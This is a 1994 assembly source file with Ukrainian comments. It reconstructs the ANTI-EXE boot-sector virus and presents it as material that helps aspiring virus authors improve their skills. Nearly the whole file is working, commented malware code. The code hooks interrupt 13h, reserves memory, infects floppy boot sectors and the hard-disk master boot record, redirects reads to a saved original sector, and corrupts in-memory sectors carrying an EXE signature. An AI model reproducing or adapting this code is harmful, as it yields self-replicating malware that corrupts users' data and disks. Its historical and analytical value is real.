; ;---------------------> Boot Virus ANTI-EXE <----------------------- ; ;This file was written by Dentist. Copyright (C) ToothWare Lviv 1994 ; У звязку з великою поширенўстю лўтеатури по вўрусам (також ∙∙ де- ;фўцитом) багато людей вирўшило попробувати себе в ролў авторўв ком- ;п'ютерних вўрусўв. Здебўльшого написанў вўруси дуже примўтивнў,тоб- ;то можуть так заразити файл що потўм його вже не вилўчиш,а засўкти ;його як кажеться раз плюнути.Щоб пўдвищити квалўфўкацўю цих програ- ;мўстўв не тўльки у написаннў вўрусўв,а й щоб вони змогли почерпнути ;для себе щось нове я вирўшив випустити декўлька фйлўв з документа- ;цўїю про деякў дуже "популярнў" вўруси. Вони будуть представленў у ;у виглядў .ASM файлўв з поясненням роботи у коментарах,а також дякў ;факти, варўанти захисту ў лўкуваня вўд даного вўруса. ; Почну з бутового вўруса ANTI-EXE.Цей вўрус в свўй час був дуже по- ;ширений, рўдко траплявся компютер який був ним не заражений. В мене ;самого ним була заражена бўльша половина дискет кўнець кўнцўв вўн ;менў надоўв ў ви бачите те що ви бачите (його ассемблерний лўстўнг) ;В "квиряннў" менў дуже допомогла программа BD . Це їдиний дебугер ;який пўдтримуї конвейїр команд, не перехоплю переривання 1 ў 3 , не ;затираї стек, дозволяї трасувати загрузку комп'ютера ў т.д. Бўльш ;докладнўше про його роботу читайте в документацў∙. ; ; О П И С Р О Б О Т И В Ў Р У С А ; Резидентний неопасний (а може й опасний, як хто розумўї) вўрус. ;Довжина 512 байт. Записуїться в boot-секторў дискетиў MBR вўнчесте- ;ра при читаннў з них (int 13h,ah = 2).Оригўнальний boot-сектор збе- ;рўгаї на вўнчестерў по адресу 0/0/13 (головка/трек/сектор),а на ди- ;скетў адрес змўнний.Перехоплюї переривання int 13h ,зменшуї об'їм ;памятў на один кўлобайт. ; Процес початково∙ загрузки на IBM - сумўсних комп'ютерах скла- ;даїться з считування boot-сектора,який розмўщуїться по абсолютному ;адресу 0000Ж7С00, ў передаї туди управлўння.Коли проходить загруз- ;ка з зараженого диска, замўсть boot-сектора считуїться тўло вўру- ;са. Потўм на початок вўруса передаїться управлўння ў вўрус робить ;свою "чорну" справу. ; А саме вўн зменшуї на 1 об'їм памятў (слово по адресу 0000:0413 ;в шуснадцятковўй) резервуючи тим самим 1 Кбайт пўд свою копўю. ;... to be continue ; ; ; ; Документацўя Lviv (C) 1994 ; вўд 13/04/94 Dentist & Ko. cseg segment word public 'CODE' assume cs:cseg,ds:cseg org 0h NewVector EQU 0D3h ;номер вектора яким користуїмся замiсть ;дiйсного значення вектора OldVector OldVector EQU 013h ;номер вектора який змiнюїм ForSegment EQU 002h ;в DWORD комiрках сегмент записуїться в стар- ForOffset EQU 000h ;ших двох байтах а змiщення в молодших MemSizeAdr EQU 413h ;адрес комiрки в сегментi 0000 де зберiга- ;їться розмiр памятi в кiлобайтах BootOffset EQU 07C00h ;в сегментi 0000 адрес з якого загружаїться ;BOOT сектор ;*************** почеток тiла вiруса **************** jmp instaljator1 ;по цих перших чотирьох байтах ANTI-EXE-шка db 04Dh ;визначаї чи диск заражений чи нў OldBoot dw ? ;В першому байтi номер сектора ;а в другому байтi номер дорожки OldBootHead db ? ;а тут номер головки (сторони) ;якi вказують на сектор з ;нормальним загрузчиком ForFunction dw ? ;Тут зберiгаїм значення AX з яким ;було викликано переривання 13h ;******* Блок параметрўв диску (для дискети) ******** org 0000Bh SectorSize dw 00200h ;кўлькўсть байт в секторў ClusterSize db 002h ;кўлькўсть секторўв в кластерў ReservedSectors dw 00001h ;кўлькўсть зарезервованих секторўв (перед FAT) QuantityFAT db 002h ;кўлькўсть FAT-ўв RootSize dw 00070h ;кўлькўсть 32-байтових елементўв ;корневого каталога TotSectors dw 002D0h ;кўлькўсть секторўв на носў∙ (роздўлў диску) Media db 0FDh ;дескриптор носўя FATSize dw 00002h ;кўлькўсть секторўв в однўй FAT SectorsPerTrek dw 00009h ;кўлькўсть секторўв на треку QuantityHead dw 00002h ;кўлькўсть головок (поверхонь) HidenSectors dw 00000h ;кўлькўсть схованих секторўв OffsetSectorSize EQU 00Bh OffsetClusterSize EQU 00Dh OffsetReservedSectors EQU 00Eh OffsetQuantityFAT EQU 010h OffsetRootSize EQU 011h OffsetTotSectors EQU 013h OffsetMedia EQU 015h OffsetFATSize EQU 016h OffsetSectorsPerTrek EQU 018h OffsetQuantityHead EQU 01Ah OffsetHidenSectors EQU 01Ch Signatura db 04Dh,05Ah,040h,000h,088h,001h,037h,00Fh,0E0h ;************ Новий обробчик переривання ************ New_Int13 proc far cmp ah,000F9h ;Якщо викликаїться переривання int 13h ў ре- jz End_Int13__ ;гўстр AH = 0F9h (деяка не ўснуюча функцўя) ;то прапорець ZF встановлюїться в одиницю ;ў повертаїться в виконувану програму. ;Тим самим можна визначити чи вўрус ї ;в памятў mov cs:ForFunction,ax ;Викликаї ўстине переривання для зада- int NewVector ;них параметрўв ў якщо виникла помилка то jc End_Int13__ ;вийти з переривання ўнакше ўдем дальше pushf ;Якщо переривання було викликано при AH НЕрўв- cmp byte ptr cs:ForFunction[1],002h ;ному 2 (функцўя читання сек- jnz End_Int13_ ;тора) то йдем на вихўд ўнакше дальше -- обро- ;бим це "свято" ;************* Може попартачити трохи ? ************* push cx ;Може й попартачим,подивимся "по таймеру" push si ;але поки що збережем у стеку регўстри push di ;якў будем використовувати push ds sub cx,cx ;Комўрка памятў з адресом 0000h:046Ch ї не що ўнше як mov ds,cx ;лўчильник ўмпульсўв таймера через кожнў 55 mc з почат- test byte ptr ds:[046ch],003h ;ку ўнўцўалўзацў∙ (4 байта). jz NePartachyty ;Якщо в молодшому словў молодшў два бўта рўвнў ;нулю то перейдем ў не будем партачити ;получаїться що в 3/4 випадках будем партачити ;а в 1/4 випадках не будем. push cs ;Манўпулюїм з ригўстрами так щоб регўстрова пара pop ds ;ES:DI - вказувала на початок першого загруженого сек- mov di,bx ;тора, а DS:SI на початок сўгнатури по присутностў ;яко∙ на початку сектора ў будем партачити Cont: lea si,Signatura ;в циклў кожен раз в SI загружаїм адрес сўгнат- mov cx,8 ;ури, в CX ∙∙ довжина push di ;DI вказуї на початок сектора в памятў в якому repe cmpsb ;в даний момент шукаїться сўгнатура (з змўщ. 0) pop di ;ў якщо знаходиться то управлўння передаїться jz Partachyty ;на мўтку Partachyty (виходимо з циклу) ўнакше add di,200h ;коректуїм вўдповўдним чином DI так щоб вўн ;вказував на наступний сектор в памятў dec byte ptr cs:[ForFunction] ;в цўй змўннўй мўститься кўль- jnz Cont ;кўсть зчитаних секторўв ў прокручуїм цикл ;по всўх секторах jmp short NePartachyty ;ANTI-EXE-шку напевно скомпўлювали на nop ;Macro Assembler-ў,тому що такий код може зробити тўльки вўн ;замўсть команди jmp NePartachyty (ўдўотўзм - правда ???) Partachyty: ;Партачення заключаїться в тому що в перший байт сектора в яко- stosb ;му знайшли сўгнатуру записуїм вмўстиме регўстра AL (але це ;тўльки в памятў на диску нўчого не мўняїм) NePartachyty: pop ds ;Вўдновлюїм вмўстиме регўстрўв pop di ;якими ми користувались pop si pop cx cmp cx,00001h ;Якщо було викликано переривання з регўстрами jnz End_Int13_ ;тикими що вказують на читання сектора (-ўв) cmp dh,000h ;починаючи з сектора з номером 0/0/1 (boot- jnz End_Int13_ ;сектор) то на пўдпрограму обробки,яка або call ToWork ;його заразить (якщо вўн ще не заражений) або ;"пўдсуне його справжнї вмўстиме" (якщо вўн ;вже заражений) ;*************** Вихўд з переривання **************** End_Int13_: ;Тўльки через цей код вўрус повертаї управлўння popf ;процесу який викликав це переривання. End_Int13__: ;Ї двў точки виходу якў залежать вўд того чи ї ret 2 ;у стеку записане слово стану процессора (PSW) New_Int13 endp ;********** Обробка читання вектора 0/0/1 *********** ToWork proc near ;************ Збережем у стеку регўстри ************* push ax ;Ну зрозумўло що ми робим?! push bx ;Ми зберўгаїм в стеку регўстри push cx ;якими будем коритуватись push dx push ds ;При входженнў в цю пўдпрограму push es ;всў регўстри мають твкўж значення push si ;як ў при виклику переривання push di ;AH = 0, AL = ?, ES:BX = буфер для читання ;CX = 1, DH = 0, DL = ? ;******* Провўрим чи даний boot вже заражений ******* push es ;Порўвняїм перших чотири байти зчитаного boot- pop ds ;сектора з першими чотирма байтами вўруса mov ax,cs:[0000h] ;якщо вони спўвпадають то будем"вважати що cmp ax,[bx] ;даний boot-сектор вже заражений ў будем вико- jnz NoInfected ;нувати наступний блок операторўв який пўдстав- mov ax,cs:[0002h] ;ляї нормальний boot-сектор,ўнакше будем вважа- cmp ax,[bx+2] ;ти що сектор не зараженийў перейдем на мўтку jnz NoInfected ;NoInfected (не заражений) там ми його заразим ;********* Пўдсунем нормальний boot сектор ********** mov cx,OldBoot[bx] ;Опредўлимо де на даному диску нахо- mov dh,OldBootHead[bx] ;диться нормальний boot-сектор у вўд- mov ax,00201h ;повўднў регўстри занисем цў данў int NewVector ;викличем переривання читання сектора jmp short ExitFromThere ;ў йдем на вихўд з пўдпрограми ;********* Заразим не заражений boot-сектор ********* NoInfected: cmp dl,001h ;В DL - номер пристрою вводу/виводу (0=A,1=B) ja ExitFromThere ;заражати тўльки якщо пристрўй дисковўд A або B ;ўнакше вийти з переривання ;*********** Знайти кластер для "хвоста" ************ mov ax,[bx+OffsetFATSize] ;AX - розмўр FAT в секторах mul byte ptr [bx+OffsetQuantityFAT] ;AX - розмўр FAT помножений на ;кўлькўсть FAT-ўв ў це рўвне ;кўлькостў секторўв видўлених ;пўд всў FAT-и add ax,[bx+OffsetReservedSectors] ;AX - додамо ще крўм того кўль- ;кўсть зарезервованих секторўв ;перед FAT-ами (MBR,BOOT,ў т.д) push dx ; mov cl,4 ; mov dx,[bx+OffsetRootSize] ;DX - кўлькўсть елементўв кор- ;невого каталога (в 32-байтних ;структурах shr dx,cl ;роздўливши DX на 16 будем мати ;кўлькўсть секторўв видўлену ;пўд ROOT add ax,dx ;ў це також додаїм до AX ;отже AX рўвне кўлькостў сек- ;торўв видўленўй пўд : ;FAT,ROOT,BOOT... dec ax ;корекцўя необхўдна для бўльш ;простих розрахункўв mov cx,[bx+OffsetSectorsPerTrek] ;CX - кўлькўсть секторўв на push cx ;одному треку sal cx,1 ;CX - кўлькўсть секторўв на ;однўй дорожцў але з двох ;сторўн sub dx,dx ;будем дўлити DX:AX на CX ;число в AX вже ї,а щоб ча- ;сом не виникло переповнення то ;ми й вживаїм регўстрову пару ;DX:AX ,але старше слово маї ;бути рўвним нулю div cx ;пўсля дўлення в AL - номер ;треку (AH = 0) ;DX - кўлькўсть секторўв вже ;занятих на данўй дорожцў ;на двох сторонах, ;але менше на 1 ??? pop cx ;CX - кўлькўсть секторўв на push ax ;одному треку mov ax,dx ;остачу вўд дўлення в DX знову sub dx,dx ;заносимо в регўстрову пару ;DX:AX ў дўлим на кўлькўсть се- ;кторўв на однўй дорожцў div cx ;пўсля дўлення в AL - номер ;сторони ;DL - кўлькўсть секторўв вже ;занятих на данўй дорожцў ;але менше на 1 ??? mov dh,al ;в AL - номер сторони mov cl,dl ;в DL - номер сектора-1 pop ax ;в AL - номер дорожки mov ch,al inc cl ;в CL - вўдкоректований номер ;сектора pop ax mov dl,al ;в AL - номер пристрою вводу/ ;виводу ;всў регўстри якў визначають ;сектор вказують на останнўй ;сектор з вже видўлених ;це переважно останнўй сектор ;ROOT запису (переважно ROOT ;розмўщуїться пўсля FAT mov cs:OldBootHead,dh ;записуїм в вўдповўднў комўрки mov cs:OldBoot,cx ;номера: сторони,дорожки ў ;сектора де ми будем зберўгати ;оригўнальний BOOT-сектор mov ax,00301h ;ў оригўнальний BOOT записуїм int NewVector ;видўлене мўсце. jc ExitFromThere ;Ну якщо помилка запису то ;вийти звўдси а ўнакше ;запишем вўрус на мўсце BOOT-а push cs ;але спочатку ўз нормального pop es ;BOOT-сектора перешлем таблицю cld ;параметрўв дискети на ∙∙ ж mov di,offset ForFunction ;мўсце але в тўлў вўруса mov si,bx ;довжина блоку який будем пере- add si,di ;силати рўвна 23 байти mov cx,00017h rep movsb mov ax,00301h ;а тепер запишем тўло вўруса xor bx,bx ;замўсть BOOT-сектора ў mov cx,00001h ;вже з правильною таблицею sub dh,dh ;параметрўв диску це потрўбно int NewVector ;для того щоб на незараженўй ;машинў ўнформацўячиталась з ;диску нормально ;***** Вихўд з пўдпрограми обробки boot сектора ***** ExitFromThere: pop di ;Там,на початку цўї∙ пўдпрограми ми зиписали в стек pop si ;цў регўстри. pop es ;Тепер не мўшало б ∙х звўдтам зчитати pop ds ;повернувши ∙м початковў значення pop dx pop cx pop bx pop ax ret ToWork endp ;*************** Ў Н С Т А Л Я Т О Р **************** ;************* Ўнсталюї вўрус в памятў ************** Instaljator1: ;******** Перехопити потрўбнў переривання *********** xor di,di ;За допомогою регўстрово∙ пари ES:DX mov ds,di ;пересилаї адрес переривання OldVector les dx,ds:[OldVector * 4] ;в комўрку де зберўгаїться вектор mov ds:[NewVector * 4 + ForOffset],dx ;переривання mov ds:[NewVector * 4 + ForSegment],es ;NewVector ;*************** Ўнўцўалўзувати стек **************** cli ;Ўнўцўалўзуї стековў вказўвники так mov ss,di ;щоб вони вказували на область памятў зразу mov si,BootOffset ;перед BOOT сектором SS:SP = 0000h:7C00h mov sp,si ;а заодно встановлюї SI = 7C00h sti ;************** Кої шо записати в стек ************** push ds ;DS = 0000h вўдносяться до RETF по мўтцў ;GoToBoot який виконуї передачу управлўння push si ;SI = 7C00h на оригўнальний BOOT сектор пўсля ;його загрузки push si ;SI = 7C00h потўм буде використано командою POP BX ;для того щоб ES:BX вказувало на буфер для загрузки ;оригўнального BOOT сектора (0000:7C00) ;****************** Видўляїм память ***************** mov ax,ds:[MemSizeAdr] ;зменшуїм на 1К розмўр закально∙ памятў dec ax ;i робим перетворення цього числа mov ds:[MemSizeAdr],ax ;так щоб вўн вказував адрес сегменту mov cl,6 ;для программи ў пересилаїм в ES sal ax,cl ;ў ES повинно вказувати на початок mov es,ax ;"вўдгрижено∙" памятў mov ds:[OldVector * 4 + ForSegment],ax mov word ptr ds:[OldVector * 4 + ForOffset],offset New_Int13 ;встановлюїм вектор перивання OldVector ;так щоб вўн вказував на ES:New_Int13 ;так як в цў адреса буде переслано тўло ;програми ;************** Обосновуїмся в памятў *************** push ax ;пересилаї свої тўло в видўлену область mov ax,offset Instaljator2 ;памятў (∙∙ сегмент в ES) починаючи з push ax ;0-го змўщення ў передаї управлўння за mov cx,00100h ;допомогою RETF на код по мўтцў cld ;Instaljator2 вже в своўй копў∙ яка rep movsw ;находиться в видўленўй памятў retf Instaljator2: ;******************** ?????????? ******************** xor ax,ax ;мав би скинути в початкове полження дисковод mov es,ax ;але не встановлюї DL i тому нi чого не int NewVector ;виходить (??? хотя треба ще подумати) заодно ;в ES записуї 0000 (сегмент куди читати Boot-сектор) ;************ Загружаї старий BOOT сектор *********** push cs ;в DS загружаїться значення CS тобто DS тепер pop ds ;вказуї на сегмент з тiлом i даними (DS:0000) mov ax,00201h ;функцiя читання одного сектора pop bx ;ES:BX вказують куди читати сектор 0000:7С00 mov cx,OldBoot ;в CL-номер сектора,в CH номер дорожки cmp cx,0000Dh ;Якщо CX не рiвний 0000Dh то перейти на jnz ReadFloppy ;загрузку нормального boot-сектора з дiскети mov dx,00080h ;iнакше загрузити boot-сектор з вiнчестера int NewVector ;на вiнчестерi вiн завжди в секторi з номером ;(головка/дорожка/сектор) 0/0/13 в десятковiй GoToBoot: ;передаї виконання на загружений boot-сектор retf ;CS:IP = 0000:7C00 ReadFloppy: sub dx,dx ;загружаї нормальний boot-сектор з дискети mov dh,OldBootHead ;iнформацiю про його розмiщення бере в комiрках int NewVector ;OldBoot i OldBootHead jc GoToBoot ;якщо була помилка то йти на передачу управ- ;лiння загруженому boot-сектору (??? може я ;не правий) ;******** Читаї сектор (0/0/1) на вiнчестерi ******** push cs ;читати один сектор в память зразу пўсля рези- pop es ;дентно∙ чистини вўруса,там ще маї бути 512 mov ax,00201h ;байт вўльних (на цю область вказуї регўстрова пара mov bx,00200h ;ES:BX = VirusSegm:00200h,де VirusSegm - сегмент ;початку тўла вўруса рўвний CS,дивись вище) mov cx,00001h ;дорожка = 0,сектор = 1 mov dx,00080h ;головка = 0,пристрўй = вўнчестер (код 80h) int NewVector ;якщо була помилка (CF=1,наприклад вўнчестер jc GoToBoot ;не ўснуї) то йти на передачу управлўння за- ;груженому boot-сектору ;********** Провўрити чи MBR вже заражений ********** ;всў сементнў регўстри (крўм SS = 0000) рўвнў ;мўж собою ў вказують на область вўруса ;в цўй областў починаючи зў змўщення 0000h ;"сидить" тўло вўруса, зў змўщення 0200h ;находиться загружений вище MBR вўнчестера xor si,si ;SI = 0000h початок тўла вўруса lodsw ;BX = 0200h початок загруженого MBR вўнча cmp ax,[bx] ;якщо першў чотири байти вўруса ў MBR спўв- jnz ToInfect ;падають то вважаїться що MBR вже заражений lodsw ;ў йдем на код передачў управлўння загруженому cmp ax,[bx+2] ;boot-сектору ўнакше на наступний блок в якому jz GoToBoot ;вўдбуваїться зараженя MBR ;************* Заразити MBR вўнчестера ************** ToInfect: mov cx,0000Dh ;записати старий MBR на вўнчестер по абсолют- mov OldBoot,cx ;ному адресу 0/0/13 (головка/трек/сектор) mov ax,00301h ;На вўнчестерў MBR завжди записуїться в push ax ;цей сектор,якщо там щось було то воно int NewVector ;буде затерте pop ax ;якщо виникла помилка обмўну з диском то йти jc GoToBoot ;на передачу управлўння загруженому boot-сек-зу mov si,offset PartitionTable + 00200h ;Скопўюватм тадлицю mov di,offset PartitionTable ;дескрипторўв роздўлўв mov cx,00021h ; = (PartitionTableSize + BootSignaturaSize)/2 ;з нормального rep movsw ;MBR в те саме змўщення але в тўлў вўруса ;ў тепер це запишем замўсть оригўнального MBR inc cx ;CH = 00h,CL = 01h (дорожка - 0, сектор - 1) sub bx,bx ;ES:BX - вказуї на тўло вўруса mov OldBootHead,dh ;DH = 00h (номер головки - 0) int NewVector ;записуїм вўрус в MBR ў retf ;передаїм управлўння загруженому сектору ;** Блоки даних якў використовуються при загрузцў *** org 001BEh PartitionTable db 4 * 16 dup (?) PartitionTableSize EQU $ - offset PartitionTable ;при зараженнў вўнчестера (ў загрузцў) ;в цўй областў находяться дескриптори ;роздўлўв BootSignatura db 055h,0AAh ;признак boot сектора останнў два байти ;мають бути рўвнў 55h,AAh BootSignaturaSize EQU $ - offset BootSignatura cseg ends end